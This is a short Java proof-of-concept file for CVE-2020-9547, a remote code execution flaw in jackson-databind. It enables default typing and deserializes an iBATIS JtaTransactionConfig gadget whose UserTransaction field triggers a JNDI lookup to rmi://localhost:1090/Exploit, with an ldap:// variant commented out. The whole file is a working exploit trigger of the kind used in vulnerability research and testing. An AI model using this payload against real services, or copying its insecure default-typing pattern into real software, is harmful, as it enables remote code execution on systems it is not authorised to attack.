package summer.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

/**
 * @ClassName: jacksonpoc9547
 * @Description: TODO
 * @Author: Samny
 * @Date: 2020/4/24 19:08
 * @Version: v1.0.0
 * @Description: CVE-2020-9547 FasterXML/jackson-databind 远程代码执行漏洞
 **/
public class jacksonpoc9547 {
    public static void main(String args[]) {
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        String json = "[\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
                " {\"properties\": {\"UserTransaction\":\"rmi://localhost:1090/Exploit\"}}]";
//                " {\"properties\": {\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}]";
        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}
